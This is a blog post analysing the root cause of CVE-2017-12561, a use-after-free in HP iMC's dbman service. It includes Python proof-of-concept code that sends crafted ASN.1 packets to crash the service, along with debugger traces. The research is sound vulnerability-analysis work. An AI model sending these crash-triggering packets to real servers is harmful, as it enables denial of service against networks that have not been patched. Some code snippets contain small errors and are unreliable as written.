Analysis of CVE-2017-12561

12 minute read

In this post I am going to perform root-cause analysis of a bug reported by Steven Seeley in HP iMC 7.3 E0504P04, specifically in the “dbman” service. Steven found a Use-After-Free condition in opcode 10012. I was given this task as a challenge and I had a lot of fun. I was not totally comfortable with heap-type bugs so it was a really nice challenge to learn more about the heap.

Getting Started

There isn’t much information about this bug online, so it took quite a while to piece it together. All we know is that there is a Use-After-Free in opcode 10012 of the dbman service and that the vulnerability was introduced in iMC Plat 7.3 E0504P04. A patch was first introduced in iMC Plat 7.3 E0506P03.

To begin, we’ll need to install the product. I just built my installation on Windows 10 x64. You can download the iMC patches from the following page.

Upon download of the patch, there should be a file in the root directory labelled install.bat, running this will download iMC and all of its components. Most downloads of the patch will feature JRE, however if your download does not, you will need to download the relevant JRE version and modify the install.bat file to point at its location, or you can place JRE within the patches directory. In addition, you will also require .NET Framework 2.0 SP2 which can be found on the Microsoft site. Since the software has a large number of components the installation can take a little while. Upon succesful installation a piece of software should open called “Intelligent Deployment Monitoring Agent”, this software tracks the installation, deployment and operating of iMC and all its components. It will also tell you information about each piece of software in the suite as well as allow you to make configuration changes to them, although we will not need to do this.

As mentioned at the start of this post, we are specifically interested in the “dbman” service which is located in C:\Program Files\iMC\dbman\bin by default. In this folder there is a VBS script titled: start_dbman.vbs which can be ran, or the executable can be ran on its own. Once running the application, a listener on TCP port 2810 should open indicating successful execution of dbman. The application seems to feature a self-healing element, meaning that you should not need to restart it often during testing.

Research

Before looking for vulnerabilities, it is always a good idea to try and learn as much as possible about the application at hand. This can include things such as reading the docs, blogposts, etc. As I mentioned, there wasn’t much information online about this bug specifically, however, there was quite a lot of blogposts on the application as a whole. One such blogpost that stood out to me the most was by a researcher called Chris Lyne, you can find it here.

In this post, Chris clears up quite a lot of questions I had about the application. The most important thing I took away from this post is how the application handles packets. dbman expects packets to be encoded in BER format as per the ASN.1 standard. This can cause a number of issues when trying to perform research which we will need to work past in order to craft a successful packet. To comply with the applications requirements, we will need to create a ASN.1 compliant packet. There are a number of libraries in Python which can help us achieve this, in this casse I am using pyasn1

A Quick Lesson on BER

BER is short for “Basic Encoding Rules” which is a subset of the ASN.1 standard. ASN.1 is a flexible notation system that allows you to define a variety of data types such as integers and bit strings to structured types such as sequences. BER describes how to represent or encode values of each ASN.1 type as a string of eight-bit octets. There are also multiple ways in which you can BER-encode a given value. There is a great guide here which covers ASN.1 and BER in more detail.

Creating a Packet

So, we now know that the packet must be BER encoded but there is still some more useful information we can take away from Chris’ post. For example, Chris also gives us the format of the entire packet, which he defines as this:

Opcode | Length of BER-Encoded Object | BER-Encoded Object

Using this information we now have a pretty good idea of how we need to send the packet into the application, this saves us a lot of time that we can use to find the actual vulnerability. Finally, Chris’ article also tells us where the client for the application is located, this is useful because a client means we will have a far easier time in creating the packet that corresponds to our opcode.

We’ve managed to gain quite a lot of information about the application at this stage, so we can begin to create our first script to execute the opcode. We are not going to ASN.1 encode yet because what we would like to do first is take advantage of the log file located in debug/dbman_debug.log

import socket

def main():
    print("[*] dbman UAF")

    server = "192.168.249.136"
    port = 2810

    opcode = 10012

    buf = pack(">i", (opcode))

    print("[*] Connecting to server!")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))

    print("[*] Sending buffer!")
    s.send(buf)

    try:
        response = s.recv(1024)
        print("\t[+] Response: {}".format(response))
        s.close()
    except:
        print("\t[*] No response!")
    
if __name__ == '__main__'
    main()

If we run this proof of concept and view the log file, we can see the following interesting entries in the log which gives us a lot of information about the opcode we’re targetting.

2021-07-06 12:29:42 [DEBUG] [My_Accept_Handler::handle_input] Connection established 192.168.249.135
2021-07-06 12:29:42 [DEBUG] [CDataConnStreamQueueT::deal_msg] Receive command code: 10012
2021-07-06 12:29:42 [ERROR] [response_err_code] errCode = -1
2021-07-06 12:29:42 [ERROR] [CDataConnStreamQueueT::deal_msg] Receive AsnDbmanCmdCode::iMSG_V001_REMOVE_RESERVED_FILE_REQ data_len error expect 4 bytes infact -1 bytes

The first thing that stands out is the last line, more specifically AsnDbmanCmdCode::iMSG_V001_REMOVE_RESERVED_FILE_REQ we can use this to find the right source file in our client which will help us with creating a packet.

Decompiling the Client

Before we move forward with doing any actual reverse engineering, lets go ahead and decompile the client. The client is located at C:\Program Files\iMC\deploy and is titled deploy.jar. We can decompile this with a program such as CFR, which is what I used. I then imported decompiled contents into Eclipse so I could easily view the source files, the command is shown below.

java -jar cfr_0_130.jar deploy.jar --outputdir src

Once we import the folder into Eclipse, you should see something similar to what is shown in the screenshot below.

Of course, there is too much code to go through package by package, but one package stands out right away, com.h3c.imc.asn1msg.platdbmanmessage. Since we are targetting dbman and this is the only reference to it, it seems quite likely this package is going to be useful to us. There is quite a large number of source files in this package but using the information we got from the log file there is one which stands out AsnRemoteReservedFileRemove.java. Clearly this relates to our opcode.

Creating a Packet (Continued)

If we open this Java source file, there is quite a large amount of code we can use in order to build our packet, the first thing we see is this

public class AsnRemoteReservedFileRemove
implements ASN1Type {
    public byte[] reservedFilePath;
    public byte[] backupPath;
    public byte[] backFileExt;
    public BigInteger time;
}

Great, now we know what arguments opcode 10012 takes. But remember earlier I mentioned that ASN.1 objects have types such as Integer, Sequence, etc. If we do not specify the type that the application expects then it is possible that our opcode will not execute correctly or even at all because the decoding routine will be unsuccessful. If we scroll a bit further down in the same source file there is a function called encode and htis function defines all the types we need for our objects.

public void encode(ASN1Encoder aSN1ENcoder) throws ASN1Exception {
    int n2 = aSN1Encoder.encodeSequence();
    aSN1Encoder.encodeOctetString(this.reservedFilePath);
    aSN1Encoder.encodeOctetString(this.backupPath);
    aSN1Encoder.encodeOctetString(this.backFileExt);
    aSN1Encoder.encodeInteger(this.time);
    aSN1Encoder.endOf(n2);
}

Perfect. All we need to do now is implement this into our proof of concept! There’s a few things to be aware of, however. Firstly, our packet is being encoded as an ASN.1 Sequence. Secondly, all of the objects are encoded as “OctetString” again, this is important to build into our packet.

from pyasn1.type.namedtype import NamedType, NamedTypes
from pyasn1.type.univ import Sequence, OctetString, Integer, Null
from pyasn1.codec.ber import encoder
# removed for brevity

class AsnRemoteReservedFileRemove(object):
    def __init__(self, reservedFilePath, backupPath, backFileExt, time):
        super(AsnRemoteReservedFileRemove, self).__init__()
        self.reservedFilePath = reservedFilePath
        self.backupPath = backupPath
        self.backFileExt = backFileExt
        self.time = time

    def encode(self):
        self.s = Sequence()
        self.s.setComponentByPosition(0, OctetString(self.reservedFilePath))
        self.s.setComponentByPosition(1, OctetString(self.backupPath))
        self.s.setComponentByPosition(2, OctetString(self.backFileExt))
        self.s.setComponentByPosition(3, Integer(self.time))
        self.s.setComponentByPosition(4, Null())
        return encoder.encode(self.s)

def handler(server, port, opcode, AsnEnc):
    AsnEncLen = len(AsnEnc)

    buf  = pack(">i", (opcode))
    buf += pack(">i", (AsnEncLen))
    buf += AsnEnc
    # removed for brevity 

def main():
    # removed for brevity
    obj = AsnRemoteReservedFileRemove('C:\\Program Files\\iMC\\dbman\\log\\dbman_debug_1.log',
                                      'C:\\Users\\Linxz\\dbman_debug.log',
                                      '.log', time.time())
    AsnEnc = obj.encode()
    handler(server, port, opcode, AsnEnc)
# remove for brevity

I won’t explain the code line by line but basically this is just a Python implementation of the code in the Java client. As I said previously, the most important thing here is to get the ASN.1 types correct for the objects else we will fail the decoding routine.

Locating the Vulnerability

Perfect, we now have an exact packet that the function uses and we can begin to look for the vulnerability in opcode 10012. There’s a few ways we can do this, we could step through all of the code paths and see where crashes occur, but that is not an exact process and it could take a very long time to find the vulnerability.

Instead, lets compare the differences between 7.3 E0504P04 and 7.3 E0504P4. Since these patches are so close, it is likely that the changes aren’t that great which should make it easier to locate the vulnerability. If we carefully check the differences between these versions, we notice that in 7.3 E0504P04 two new functions are added.

Change 1

The first change is the introduction of a new function following the second recv call, that being the introduction of the function dbman_decode_len as shown in this image below.

This is important because it is the introduction of this function which allows us to arrive in the function which inevitably leads us to the improper free and thus the Use-After-Free. If you open the version prior to this in IDA you will notice that this block that includes dbman_decode_len is not present.

Change 2

The second change is the introduction of a new function following the failure block of the first change, namely, a new function following the failure block of the dbman_decode_len function. After dbman writes to the debug log, there is a call to sub_45ec20, as shown below.

Recap

To sum up, so far we have found that in the vulnerable version of the software, two functions have been added. The first is dbman_decode_len and we know that if we fail the execution of this function we arrive in the standard error handling block, but there is also a new function added here sub_45ec20 which is not present in the previous version. With this information in mind, we can be pretty sure that these functions are what lead to the vulnerability.

Confirming the Vulnerability

Now that we have found what we believe is the vulnerability, we need to confirm that this is the case. Use-After-Frees are often quite hard to track down, especially if the re-use comes a long time after the pointer is freed. As such we are going to follow the execution of this new code path closely and then analyse the according outputs.

First things first, we need to fail the dbman_decode_len function, how can we do that? Well, it turns out that it is actually quite easy to do this. It took me a while to figure out but it does make sense. Remember, we need to input our objects as OctetStrings, this means that the binary data must be a multiple of 8 bits. In order to fail this check, all we need to do is ensure that the length of our BER-encoded object is not divisible by 8 without a remainder. This is confirmed in this code from Ghidra. For reference, FUN_00454ba0 is one of the functions that dbman_decode_len calls.

int __cdecl FUN_00454ba0(uint buflen)

{
  int iVar1;
  uint local_8;
  
  if (buflen % 8 == 0) {
    //removed for brevity
    iVar1 = 0;
  }
  else {
    iVar1 = -1;
  }
  return iVar1;
}

Great, now we can fail the check that is step one. Let’s now implement our packet to do that and then set a breakpoint on sub_45ec20 to confirm that it works, this is shown below.

0:007> bp 0045b40f
0:007> g
Breakpoint 0 hit
eax=00000000 ebx=00000001 ecx=07ca4fd8 edx=07e98f70 esi=07ca4fd8 edi=00000274
eip=0045b40f esp=07e9ebcc ebp=07e9fd28 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
dbman+0x5b40f:
0045b40f e80c380000      call    dbman+0x5ec20 (0045ec20)

0:003> t
eax=00000000 ebx=00000001 ecx=07ca4fd8 edx=07e98f70 esi=07ca4fd8 edi=00000274
eip=0045ec20 esp=07e9ebc8 ebp=07e9fd28 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
dbman+0x5ec20:
0045ec20 55              push    ebp

Now that we have arrived in sub_45ec20 we need to follow its execution further lucky for us it is quite a small function so there isn’t much for us to analyse.

As far as locating the vulnerability is confirmed, we are interested in the call eax at 0045ec63, let’s set a breakpoint on it and follow its execution.

0:003> bp 0045EC63
0:003> g
Breakpoint 1 hit
eax=0045eab0 ebx=00000001 ecx=07ca4fd8 edx=004b79a4 esi=07ca4fd8 edi=00000274
eip=0045ec63 esp=07e9ebb0 ebp=07e9ebc4 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
dbman+0x5ec63:
0045ec63 ffd0            call    eax {dbman+0x5eab0 (0045eab0)}

0:003> t
eax=0045eab0 ebx=00000001 ecx=07ca4fd8 edx=004b79a4 esi=07ca4fd8 edi=00000274
eip=0045eab0 esp=07e9ebac ebp=07e9ebc4 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
dbman+0x5eab0:
0045eab0 55              push    ebp

So this call is calling 0045eab0 and if we jump to this location in IDA, we can see that there is a call to operator delete which is equivalent to a call to free. This looks promising and very much like the potential vulnerability. As we also note, after the operator delete is executed, the pointer doesn’t get nulled which is usually the best practice after freeing a pointer.

With this in mind, we have a pretty good idea that this is in-fact the vulnerability that we are looking for. If we allow the execution to continue from this point, we get a crash, as shown below.

0:004> g
(1ed8.1730): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=07f64fe8 ebx=00000003 ecx=07f64fe8 edx=00000000 esi=ffffffff edi=07ebc954
eip=6f4cb650 esp=0815fdac ebp=07ea8f7c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
ACE_v6!ACE_Process_Options::creation_flags:
6f4cb650 8b4104          mov     eax,dword ptr [ecx+4] ds:002b:07f64fec=????????

Now that we have the crash, we are almost there. All that is left for us to do is to perform root cause analysis.

Root Cause Analysis

Now that we have a crash, we need to work out why it occured and work backwards to follow the execution chain of the crash. First of all, let’s look more closely at the crash itself. As you can see from the access violation a dereference takes place on ECX+4 which is 07f64fec. If we use page-heap in order to track the call stack of this object, we can see that it has previously been freed, as shown below.

0:004> !heap -p -a 07f64fec
    address 07f64fec found in
    _DPH_HEAP_ROOT @ 7631000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    7f60f70:          7f64000             2000
    725eab02 verifier!AVrfDebugPageHeapFree+0x000000c2
    7742f8d6 ntdll!RtlDebugFreeHeap+0x0000003e
    77393d46 ntdll!RtlpFreeHeap+0x000000d6
    773d791d ntdll!RtlpFreeHeapInternal+0x00000783
    77393c16 ntdll!RtlFreeHeap+0x00000046
    71f73c1b MSVCR90!free+0x000000cd [f:\dd\vctools\crt_bld\self_x86\crt\src\free.c @ 110]
    0045eb0a dbman+0x0005eb0a
    0045ec65 dbman+0x0005ec65
    0045b414 dbman+0x0005b414
    0045ebb5 dbman+0x0005ebb5
    6f53c3c9 ACE_v6!ACE_WFMO_Reactor::upcall+0x00000099

So, the crash occurs because the application tries to dereference an object which has previously been freed, thus a Use-After-Free. Cool bug. I’ve not written an exploit for it yet, but I might at some point.